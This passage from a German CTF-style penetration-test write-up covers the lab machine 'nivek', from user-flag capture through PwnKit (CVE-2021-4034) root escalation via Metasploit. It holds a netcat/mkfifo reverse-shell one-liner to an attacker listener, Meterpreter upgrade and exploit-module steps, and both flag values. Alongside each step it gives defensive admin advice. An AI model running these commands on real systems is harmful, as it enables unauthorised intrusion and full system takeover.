**Empfehlung (Admin):** Korrekte Konfiguration. Es ist gut, dass der `daemon`-Benutzer keine unnötigen `sudo`-Rechte hat.
2. Wechsel in das Home-Verzeichnis und Auflisten des Inhalts, Suche nach Benutzerflag.
daemon@nivek:/home$ ls eren nivek daemon@nivek:/home$ cd nivek/ daemon@nivek:/home/nivek$ ls -la total 104 drwxr-xr-x 16 nivek nivek 4096 Jul 26 2021 . drwxr-xr-x 4 root root 4096 Jul 26 2021 .. -rw------- 1 nivek nivek 425 Jul 26 2021 .bash_history -rw-r--r-- 1 nivek nivek 220 Jul 25 2021 .bash_logout -rw-r--r-- 1 nivek nivek 3771 Jul 25 2021 .bashrc drwx------ 13 nivek nivek 4096 Jul 26 2021 .cache drwx------ 14 nivek nivek 4096 Jul 26 2021 .config drwxr-xr-x 2 nivek nivek 4096 Jul 26 2021 Desktop -rw-r--r-- 1 nivek nivek 25 Jul 25 2021 .dmrc drwxr-xr-x 2 nivek nivek 4096 Jul 26 2021 Documents drwxr-xr-x 2 nivek nivek 4096 Jul 26 2021 Downloads drwx------ 2 nivek nivek 4096 Jul 26 2021 .gconf drwx------ 3 nivek nivek 4096 Jul 26 2021 .gnupg -rw------- 1 nivek nivek 942 Jul 26 2021 .ICEauthority drwx------ 3 nivek nivek 4096 Jul 26 2021 .local -rw-r--r-- 1 root root 33 Jul 25 2021 local.txt drwx------ 5 nivek nivek 4096 Jul 26 2021 .mozilla drwxr-xr-x 2 nivek nivek 4096 Jul 26 2021 Music drwxr-xr-x 2 nivek nivek 4096 Jul 26 2021 Pictures -rw-r--r-- 1 nivek nivek 675 Jul 25 2021 .profile drwxr-xr-x 2 nivek nivek 4096 Jul 26 2021 Public -rw-r--r-- 1 nivek nivek 0 Jul 25 2021 .sudo_as_admin_successful drwxr-xr-x 2 nivek nivek 4096 Jul 26 2021 Templates drwxr-xr-x 2 nivek nivek 4096 Jul 26 2021 Videos -rw------- 1 nivek nivek 50 Jul 26 2021 .Xauthority -rw------- 1 nivek nivek 1354 Jul 26 2021 .xsession-errors -rw------- 1 nivek nivek 1788 Jul 26 2021 .xsession-errors.old
**Analyse:** Der Benutzer wechselt in das `/home`-Verzeichnis und findet dort die Home-Verzeichnisse `eren` und `nivek`. Anschließend wird in `/home/nivek` gewechselt und der Inhalt detailliert aufgelistet (`ls -la`). Auffällig ist die Datei `local.txt`, die `root` gehört, aber für alle lesbar ist (`-rw-r--r--`).
**Bewertung:** Das Home-Verzeichnis des Benutzers `nivek` wurde gefunden. Die Datei `local.txt` ist wahrscheinlich der User-Flag.
**Empfehlung (Pentester):** Den Inhalt von `local.txt` auslesen (`cat local.txt`).
**Empfehlung (Admin):** Benutzer-Flags sollten idealerweise nur vom jeweiligen Benutzer lesbar sein. Wenn sie als Teil einer Challenge gedacht sind, ist die Lesbarkeit für andere vielleicht beabsichtigt, aber in einer realen Umgebung sollten die Berechtigungen restriktiver sein (`chmod 600 local.txt`).
3. Auslesen des User-Flags.
daemon@nivek:/home/nivek$ cat local.txt
3bbf8c168408f1d5ff9dfd91fc00d0c1
**Analyse:** Der Befehl `cat local.txt` liest den Inhalt der Datei `local.txt` aus und gibt den User-Flag `3bbf8c168408f1d5ff9dfd91fc00d0c1` aus.
**Bewertung:** Der User-Flag wurde erfolgreich gefunden und ausgelesen.
**Empfehlung (Pentester):** Den Flag notieren. Weiter nach Möglichkeiten zur Privilege Escalation suchen.
**Empfehlung (Admin):** Siehe vorherige Empfehlung zu Dateiberechtigungen.
4. Suche nach SUID-Binaries als potenziellen Vektor für Privilege Escalation.
daemon@nivek:/home/nivek$ find / -type f -perm -4000 -ls 2>/dev/null 393291 44 -rwsr-xr-x 1 root root 44168 May 8 2014 /bin/ping 393277 40 -rwsr-xr-x 1 root root 40152 Apr 14 2016 /bin/mount 409486 32 -rwsr-xr-x 1 root root 30800 Mar 11 2016 /bin/fusermount 421794 40 -rwsr-xr-x 1 root root 40128 May 17 2017 /bin/su 393292 44 -rwsr-xr-x 1 root root 44680 May 8 2014 /bin/ping6 393326 28 -rwsr-xr-x 1 root root 27608 Apr 14 2016 /bin/umount 267642 52 -rwsr-xr-x 1 root root 49584 May 17 2017 /usr/bin/chfn 262606 136 -rwsr-xr-x 1 root root 136808 Mar 31 2016 /usr/bin/sudo 266944 36 -rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newgidmap 342109 1016 -rwsr-xr-x 1 eren eren 1037464 Jul 26 2021 /usr/bin/bash 267643 56 -rwsr-xr-x 1 root root 54256 May 17 2017 /usr/bin/passwd 319427 24 -rwsr-xr-x 1 root root 23376 Mar 27 2019 /usr/bin/pkexec 262304 40 -rwsr-xr-x 1 root root 39904 May 17 2017 /usr/bin/newgrp 267640 40 -rwsr-xr-x 1 root root 40432 May 17 2017 /usr/bin/chsh 276626 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 15 2016 /usr/bin/at 266943 36 -rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newuidmap 267641 76 -rwsr-xr-x 1 root root 75304 May 17 2017 /usr/bin/gpasswd 266298 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device 285021 44 -rwsr-xr-- 1 root messagebus 42992 Jun 12 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 266772 40 -rwsr-xr-x 1 root root 38984 Mar 8 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic 267581 112 -rwsr-xr-x 1 root root 110792 Feb 8 2021 /usr/lib/snapd/snap-confine 342121 420 -rwsr-xr-x 1 root root 428240 May 27 2020 /usr/lib/openssh/ssh-keysign 277086 16 -rwsr-xr-x 1 root root 14864 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1 298597 388 -rwsr-xr-- 1 root dip 394984 Jul 23 2020 /usr/sbin/pppd 168815 16 -rwsr-xr-x 1 root root 14704 Jul 7 2021 /opt/lampp/bin/suexec
**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit erlaubt es einem Benutzer, die Datei mit den Rechten des Dateibesitzers (oft `root`) auszuführen. `-ls` gibt detaillierte Informationen zu den gefundenen Dateien aus. `2>/dev/null` leitet Fehlermeldungen (z.B. "Permission denied" beim Durchsuchen bestimmter Verzeichnisse) ins Nichts um, um die Ausgabe sauber zu halten. Die Ausgabe zeigt eine Liste von SUID-Dateien. Viele davon sind Standard-Systemdateien (`ping`, `mount`, `su`, `passwd`, `sudo`). **Interessante/ungewöhnliche Funde:** * `/usr/bin/bash`: Eine Bash-Shell, die SUID gesetzt hat und dem Benutzer `eren` gehört. Wenn `daemon` diese Shell ausführen kann, würde er zu `eren`. * `/usr/bin/pkexec`: Das PolicyKit Execution Helper Tool. Ältere Versionen sind anfällig für die PwnKit-Schwachstelle (CVE-2021-4034). Das Datum (Mar 27 2019) deutet auf eine potenziell anfällige Version hin. * `/usr/bin/at`: Gehört `daemon` und hat das SGID-Bit gesetzt (`-rwsr-sr-x`). Dies könnte ebenfalls ein Vektor sein, ist aber weniger offensichtlich als `pkexec`. * `/opt/lampp/bin/suexec`: Gehört zu XAMPP (LAMPP), einer lokalen Entwicklungsumgebung. Könnte falsch konfiguriert sein.
**Bewertung:** Die Suche nach SUID-Dateien hat mehrere potenzielle Wege zur Rechteausweitung aufgezeigt. `/usr/bin/pkexec` ist aufgrund der bekannten PwnKit-Schwachstelle der vielversprechendste Kandidat. Die SUID-Bash von `eren` ist ein weiterer möglicher Schritt, aber nicht direkt zu Root. `/usr/bin/at` könnte ebenfalls untersucht werden.
**Empfehlung (Pentester):**
1. Die Version von `pkexec` prüfen oder direkt versuchen, die PwnKit-Schwachstelle (CVE-2021-4034) auszunutzen.
2. Die SUID-Bash `/usr/bin/bash` untersuchen (ausführen, um zu `eren` zu werden).
3. `gtfobins.github.io` konsultieren, um bekannte Privilege Escalation Techniken für die gefundenen SUID-Binaries (wie `at`, `bash`, `pkexec` etc.) zu finden.
**Empfehlung (Admin):**
1. **System patchen!** Insbesondere `pkexec` sollte auf eine Version aktualisiert werden, die nicht für PwnKit anfällig ist.
2. Das SUID-Bit nur für Binaries setzen, die es unbedingt benötigen. Überprüfen, warum `/usr/bin/bash` SUID gesetzt hat und `eren` gehört – dies ist höchst ungewöhnlich und gefährlich. Das SUID-Bit sollte entfernt werden (`chmod u-s /usr/bin/bash`).
3. Die Konfiguration von XAMPP (`/opt/lampp`) überprüfen und ggf. entfernen, falls nicht benötigt.
5. Verwendung von Metasploit zur Automatisierung der Privilege Escalation.
# cowsay++ ____________ < metasploit > ------------ \ ,__, \ (oo)____ (__) )\ ||--|| * =[ metasploit v6.3.16-dev ] + -- --=[ 2315 exploits - 1208 auxiliary - 412 post ] + -- --=[ 975 payloads - 46 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit tip: After running db_nmap, be sure to check out the result of hosts and services Metasploit Documentation: https://docs.metasploit.com/
**Analyse:** Der Befehl `msfconsole` startet das Metasploit Framework, eine umfassende Plattform für Penetration Testing, Exploit-Entwicklung und Schwachstellenforschung. Der Startbildschirm zeigt die Version und die Anzahl der geladenen Module (Exploits, Payloads etc.).
**Bewertung:** Metasploit wird gestartet, um die nächsten Schritte, insbesondere das Upgrade der Shell und die Ausnutzung von Schwachstellen, zu erleichtern.
**Empfehlung (Pentester):** Metasploit bietet Module für Shell-Upgrades, Exploit-Suche und Ausführung, was den Prozess oft beschleunigt.
**Empfehlung (Admin):** Intrusion Detection Systeme (IDS/IPS) können Signaturen für Metasploit-Module erkennen. Sicherstellen, dass solche Systeme aktuell sind.
6. Upgrade der einfachen Shell zu einer Meterpreter-Session für erweiterte Funktionalität.
[*] Using configured payload generic/shell_reverse_tcp Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. lhost => 192.168.2.113 lport => 4444 [*] Started reverse TCP handler on 192.168.2.113:4444
**Analyse:** Zuerst wird ein neuer Listener in Metasploit vorbereitet. * `use multi/handler`: Lädt den generischen Payload-Handler. * `options`: Zeigt die Konfigurationsoptionen. `LHOST` (Listen Host) und `LPORT` (Listen Port) müssen gesetzt werden. * `set lhost eth0`: Setzt die lokale IP-Adresse auf die der Netzwerkschnittstelle `eth0` (Metasploit löst dies zur IP `192.168.2.113` auf). * `set lport 4444`: Setzt den lokalen Port auf 4444. * `run`: Startet den Listener. Dieser Listener wird benötigt, um die Verbindung von der aufgewerteten Shell (Meterpreter) zu empfangen.
**Bewertung:** Korrekte Konfiguration eines Metasploit-Handlers als Vorbereitung für das Shell-Upgrade.
**Empfehlung (Pentester):** Sicherstellen, dass LHOST und LPORT mit der Konfiguration der Payload übereinstimmen, die im nächsten Schritt auf das Ziel hochgeladen wird.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zu Egress Filtering.
rm -f /tmp/b; mkfifo /tmp/b; /bin/sh -i 2>&1 0</tmp/b | nc 192.168.2.113 4444 1>/tmp/b
**Analyse:** Dieser Befehl wird **in der bestehenden `daemon`-Shell auf dem Zielsystem** ausgeführt (obwohl der Prompt fehlt). Es ist eine Methode, eine interaktivere Reverse Shell zu erzeugen und sie mit dem gerade gestarteten Metasploit-Handler zu verbinden. * `rm -f /tmp/b; mkfifo /tmp/b;`: Löscht eine eventuell vorhandene Datei `/tmp/b` und erstellt eine Named Pipe (FIFO) an diesem Ort. * `/bin/sh -i`: Startet eine interaktive Shell. * `2>&1`: Leitet den Standardfehler (stderr) auf den Standardausgang (stdout) um. * `0/tmp/b`: Leitet stdout von Netcat (also die Befehle vom Angreifer) zurück in die Named Pipe, die als stdin für die Shell dient.
**Bewertung:** Dies ist eine gängige, wenn auch etwas komplexe Methode, um eine stabilere Reverse Shell zu erhalten, die sich mit dem Metasploit-Handler verbindet. Sie wird hier wahrscheinlich als Zwischenschritt verwendet, um dann das `shell_to_meterpreter`-Modul nutzen zu können.
**Empfehlung (Pentester):** Nach Ausführung dieses Befehls sollte im Metasploit-Handler eine neue Session geöffnet werden.
**Empfehlung (Admin):** Monitoring von Prozessausführungen und Netzwerkverbindungen kann solche Aktivitäten erkennen. Die Verwendung von `/tmp` für Pipes ist üblich, aber verdächtig.
Module options (post/multi/manage/shell_to_meterpreter): Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER true yes Start an exploit/multi/handler to receive the conne ction LHOST no IP of host that will receive the connection from th e payload (Will try to auto detect). LPORT 4433 yes Port for payload to connect to. SESSION yes The session to run this module on the 'exit' command to quit handler => true lhost => 192.168.2.113 lport => 4433 session => 1 [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.113:4433 [*] Sending stage (1017704 bytes) to 192.168.2.124 [*] Meterpreter session 2 opened (192.168.2.113:4433 -> 192.168.2.124:47512) at 2023-06-06 01:22:37 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
**Analyse:** Nun wird das eigentliche Upgrade zur Meterpreter-Shell durchgeführt: * `search shell to meterpreter`: Sucht nach Modulen, die eine einfache Shell zu Meterpreter upgraden können. (Der Befehl wird ausgeführt, während schon im Modul-Kontext, was ungewöhnlich ist, aber funktioniert). * `use post/multi/manage/shell_to_meterpreter`: Lädt das entsprechende Post-Exploitation-Modul (bereits geladen oder implizit durch den Prompt). * `options`: Zeigt die Optionen für dieses Modul. `SESSION` (die ID der bestehenden Shell-Session) und `LPORT` (ein *neuer* Port für die Meterpreter-Verbindung) sind wichtig. `LHOST` wird meist automatisch erkannt. * `set handler true`: Weist das Modul an, selbst einen neuen Handler für die Meterpreter-Session zu starten. * `set lhost eth0`: Setzt die lokale IP für den neuen Handler. * `set lport 4433`: Setzt den Port für den neuen Handler auf 4433 (ein anderer Port als die ursprüngliche Shell). * `set session 1`: Gibt an, dass die bestehende Shell-Session mit der ID 1 aufgewertet werden soll. (Die Session-ID `1` muss der entsprechen, die durch den vorherigen `nc`-Befehl in Metasploit erstellt wurde). * `run`: Führt das Modul aus. Das Modul lädt den Meterpreter-Payload auf das Zielsystem hoch und führt ihn aus. Meterpreter verbindet sich dann zurück zum Angreifer auf Port 4433. Metasploit meldet: `Meterpreter session 2 opened`. Es existiert nun eine zweite, mächtigere Meterpreter-Session.
**Bewertung:** Das Upgrade zur Meterpreter-Session war erfolgreich. Meterpreter bietet viele Vorteile gegenüber einer einfachen Shell, darunter stabilere Verbindungen, Dateitransfers, Portweiterleitung, Screenshots und viele integrierte Post-Exploitation-Module.
**Empfehlung (Pentester):** Die neue Meterpreter-Session (ID 2) für die weitere Interaktion verwenden (`sessions -i 2`).
**Empfehlung (Admin):** IDS/IPS können Signaturen für Meterpreter-Payloads und -Kommunikation erkennen. Egress Filtering auf ungewöhnlichen Ports (wie 4433) kann auch hier helfen.
7. Verwendung des Local Exploit Suggester in Metasploit, um nach bekannten Privilege Escalation Exploits zu suchen.
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester session => 2 [*] 192.168.2.124 - Collecting local exploits for x86/linux... [*] 192.168.2.124 - 184 exploit checks are being tried... [+] 192.168.2.124 - exploit/linux/local/bpf_priv_esc: The target appears to be vulnerable. [+] 192.168.2.124 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable. [*] Running check method for exploit 12 / 57 [*] 192.168.2.124 - Valid modules for session 2: ============================ # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/bpf_priv_esc Yes The target appears to be vulnerable. 2 exploit/linux/local/bpf_sign_extension_priv_esc Yes The target appears to be vulnerable. 3 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable. 4 exploit/linux/local/glibc_realpath_priv_esc Yes The target appears to be vulnerable. 5 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. 6 exploit/linux/local/pkexec Yes The service is running, but could not be validated. 7 exploit/linux/local/su_login Yes The target appears to be vulnerable.
**Analyse:** * `search suggester`: Sucht nach dem Local Exploit Suggester Modul. * `use 0` (oder `use post/multi/recon/local_exploit_suggester`): Lädt das Modul. * `set session 2`: Gibt an, dass das Modul auf die Meterpreter-Session 2 angewendet werden soll. * `run`: Führt das Modul aus. Der Local Exploit Suggester sammelt Informationen über das Zielsystem (Kernel-Version, Distribution, installierte Pakete) aus der Meterpreter-Session und vergleicht diese mit einer Datenbank bekannter lokaler Privilege Escalation Exploits in Metasploit. Die Ausgabe listet mehrere potenzielle Exploits auf. Besonders hervorzuheben ist: * `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`: Wird explizit als "The target is vulnerable." markiert. Dies bestätigt die Vermutung aus der SUID-Analyse.
**Bewertung:** Der Exploit Suggester hat erfolgreich die PwnKit-Schwachstelle (CVE-2021-4034) als vielversprechenden Vektor identifiziert und bestätigt, dass das Ziel anfällig ist. Dies spart dem Pentester die manuelle Überprüfung oder das Ausprobieren verschiedener Exploits.
**Empfehlung (Pentester):** Das Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` verwenden, um die Schwachstelle auszunutzen und Root-Rechte zu erlangen.
**Empfehlung (Admin):** **System patchen!** Der Exploit Suggester zeigt deutlich die Notwendigkeit, Systeme aktuell zu halten, um bekannte Schwachstellen zu schließen.
8. Auswählen und Konfigurieren des PwnKit-Exploits in Metasploit.
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): Name Current Setting Required Description ---- --------------- -------- ----------- PKEXEC_PATH no The path to pkexec binary SESSION yes The session to run this module on WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.113 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 x86_64 View the full module info with the info, or info -d command. session => 2
**Analyse:** * Der Prompt zeigt, dass das PwnKit-Exploit-Modul (`exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec)`) bereits geladen ist (wahrscheinlich durch `use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`). * `options`: Zeigt die Optionen für den Exploit und die Payload. Die wichtigen Exploit-Optionen sind `SESSION` (die ID der Meterpreter-Session, über die der Exploit ausgeführt wird) und `WRITABLE_DIR` (ein beschreibbares Verzeichnis auf dem Ziel, standardmäßig `/tmp`). Die Payload-Optionen `LHOST` und `LPORT` definieren, wohin sich die neue Root-Shell verbinden soll. Hier ist standardmäßig LPORT 4444 eingestellt, was zu Konflikten führen *könnte*, wenn der vorherige Handler noch läuft. * `set session 2`: Weist den Exploit an, über die bestehende Meterpreter-Session 2 zu laufen. * `run`: Startet den Exploit.
**Bewertung:** Die Konfiguration des Exploits ist weitgehend korrekt. Die Verwendung von Port 4444 für die neue Root-Shell ist potenziell problematisch, wenn der alte Handler noch aktiv ist, aber Metasploit kann dies oft handhaben oder der alte Handler wurde vielleicht beendet.
**Empfehlung (Pentester):** Sicherstellen, dass LHOST korrekt ist und LPORT eindeutig ist oder der alte Handler auf diesem Port beendet wurde. Den Exploit ausführen.
**Empfehlung (Admin):** System patchen, um die PwnKit-Schwachstelle zu beheben.
9. Ausführen des PwnKit-Exploits und Erhalt einer Root-Meterpreter-Session.
[*] Started reverse TCP handler on 192.168.2.113:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.mrzgzfmtn [+] The target is vulnerable. [*] Writing '/tmp/.awshpn/ukxaols/ukxaols.so' (548 bytes) ... [!] Verify cleanup of /tmp/.awshpn [*] Sending stage (3045348 bytes) to 192.168.2.124 [+] Deleted /tmp/.awshpn/ukxaols/ukxaols.so [+] Deleted /tmp/.awshpn/.jngnhlur [+] Deleted /tmp/.awshpn [*] Meterpreter session 3 opened (192.168.2.113:4444 -> 192.168.2.124:35696) at 2023-06-06 01:27:05 +0200
**Analyse:** Die Ausgabe zeigt den erfolgreichen Ablauf des Exploits: * Ein neuer Handler wird auf Port 4444 gestartet. * Der automatische Check bestätigt die Anfälligkeit. * Der Exploit schreibt temporäre Dateien nach `/tmp`. * Der Meterpreter-Payload (stage) wird gesendet. * Die temporären Dateien werden aufgeräumt. * **`Meterpreter session 3 opened`**: Eine neue Meterpreter-Session wird etabliert. Da der PwnKit-Exploit Root-Rechte erlangt, läuft diese neue Session als `root`. * Der Prompt wechselt zu `meterpreter >`, was anzeigt, dass man sich nun in der neuen Root-Meterpreter-Session befindet.
**Bewertung:** **Fantastisch, der Root-Zugriff war erfolgreich!** Das Ziel der Privilege Escalation wurde erreicht. Es besteht nun vollständige Kontrolle über das Zielsystem als `root`-Benutzer.
**Empfehlung (Pentester):** Die Root-Rechte nutzen, um den Root-Flag zu suchen und auszulesen (normalerweise in `/root/root.txt`), Persistenz einzurichten (falls im Scope), weitere Systeme im Netzwerk zu scannen (Pivoting) oder sensible Daten zu exfiltrieren.
**Empfehlung (Admin):** **System dringend patchen!** Die erfolgreiche Ausnutzung von PwnKit unterstreicht die Kritikalität dieser Schwachstelle. Zusätzlich Systeme auf Kompromittierungsindikatoren (IOCs) untersuchen.
**Erwartetes Ergebnis:** Erfolgreiche Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) führt zur Erlangung einer Shell mit Root-Berechtigungen auf dem Zielsystem.
**Beweismittel:** Die Ausgabe von Metasploit, die das Öffnen der Meterpreter-Session 3 zeigt, sowie die anschließende Möglichkeit, Befehle als Root auszuführen (z.B. Auflisten von `/root`).
**Risikobewertung:** Die PwnKit-Schwachstelle ermöglicht einem lokalen Angreifer mit geringen Rechten die vollständige Übernahme des Systems (Root-Zugriff). Das Risiko ist als **KRITISCH** einzustufen, da es die vollständige Kompromittierung der Vertraulichkeit, Integrität und Verfügbarkeit des Systems ermöglicht.
**Empfehlungen (Zusammenfassung POC):**
Nachdem durch Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit eine Meterpreter-Session mit Root-Rechten (Session 3) erlangt wurde, wird nun das Root-Verzeichnis untersucht und der Root-Flag ausgelesen.
total 136 drwx------ 19 root root 4096 Jul 26 2021 . drwxr-xr-x 23 root root 4096 Jun 6 06:22 .. -rw------- 1 root root 318 Jul 25 2021 .ICEauthority -rw------- 1 root root 0 Jul 26 2021 .Xauthority -rw------- 1 root root 2377 Jul 26 2021 .bash_history -rw-r--r-- 1 root root 3121 Jul 26 2021 .bashrc drwx------ 11 root root 4096 Jul 26 2021 .cache drwx------ 13 root root 4096 Jul 25 2021 .config drwx------ 3 root root 4096 Jul 25 2021 .dbus drwx------ 2 root root 4096 Jul 25 2021 .gconf drwx------ 2 root root 4096 Jul 25 2021 .gvfs drwxr-xr-x 3 root root 4096 Jul 25 2021 .local drwx------ 5 root root 4096 Jul 25 2021 .mozilla drwxr-xr-x 2 root root 4096 Jul 25 2021 .nano -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 66 Jul 26 2021 .selected_editor drwxr-xr-x 3 root root 4096 Jul 25 2021 .thumbnails -rw------- 1 root root 341 Jul 25 2021 .xsession-errors drwxr-xr-x 3 root root 20480 Jul 25 2021 Desktop drwxr-xr-x 2 root root 4096 Jul 25 2021 Documents drwxr-xr-x 2 root root 20480 Jul 25 2021 Downloads drwxr-xr-x 2 root root 4096 Jul 25 2021 Music drwxr-xr-x 2 root root 4096 Jul 25 2021 Pictures drwxr-xr-x 2 root root 4096 Jul 25 2021 Public drwxr-xr-x 2 root root 4096 Jul 25 2021 Templates drwxr-xr-x 2 root root 4096 Jul 25 2021 Videos -rw------- 1 root root 33 Jul 25 2021 root.txt
**Analyse:** Der Befehl `ls -la /root` wird in der Root-Meterpreter-Session ausgeführt. Meterpreter übersetzt diesen Linux-Befehl und führt ihn auf dem Zielsystem aus. Die Ausgabe listet den Inhalt des `/root`-Verzeichnisses detailliert auf. Es enthält verschiedene Konfigurationsdateien und Unterverzeichnisse sowie die Datei `root.txt`, die typischerweise den Root-Flag enthält.
**Bewertung:** Der Zugriff auf das `/root`-Verzeichnis bestätigt die erlangten Root-Rechte. Die Datei `root.txt` ist das nächste Ziel.
**Empfehlung (Pentester):** Den Inhalt von `root.txt` auslesen (`cat /root/root.txt`).
**Empfehlung (Admin):** Das `/root`-Verzeichnis sollte nur für den `root`-Benutzer zugänglich sein (`drwx------`), was hier der Fall ist. Der Inhalt selbst ist Standard.
299c10117c1940f21b70a391ca125c5d
**Analyse:** Der Befehl `cat /root/root.txt` wird in der Meterpreter-Session ausgeführt. Er liest den Inhalt der Datei `/root/root.txt` und gibt den Root-Flag `299c10117c1940f21b70a391ca125c5d` aus.
**Bewertung:** **Ziel erreicht!** Der Root-Flag wurde erfolgreich ausgelesen. Damit ist der Penetrationstest für diese Maschine im Wesentlichen abgeschlossen.
**Empfehlung (Pentester):** Den Flag notieren. Ggf. weitere Post-Exploitation-Aufgaben durchführen (siehe vorherige Empfehlungen) oder die Sessions bereinigen und den Test abschließen.
**Empfehlung (Admin):** Keine spezifische Empfehlung bezüglich des Flags selbst. Die Maßnahmen sollten sich auf die Behebung der ausgenutzten Schwachstellen konzentrieren.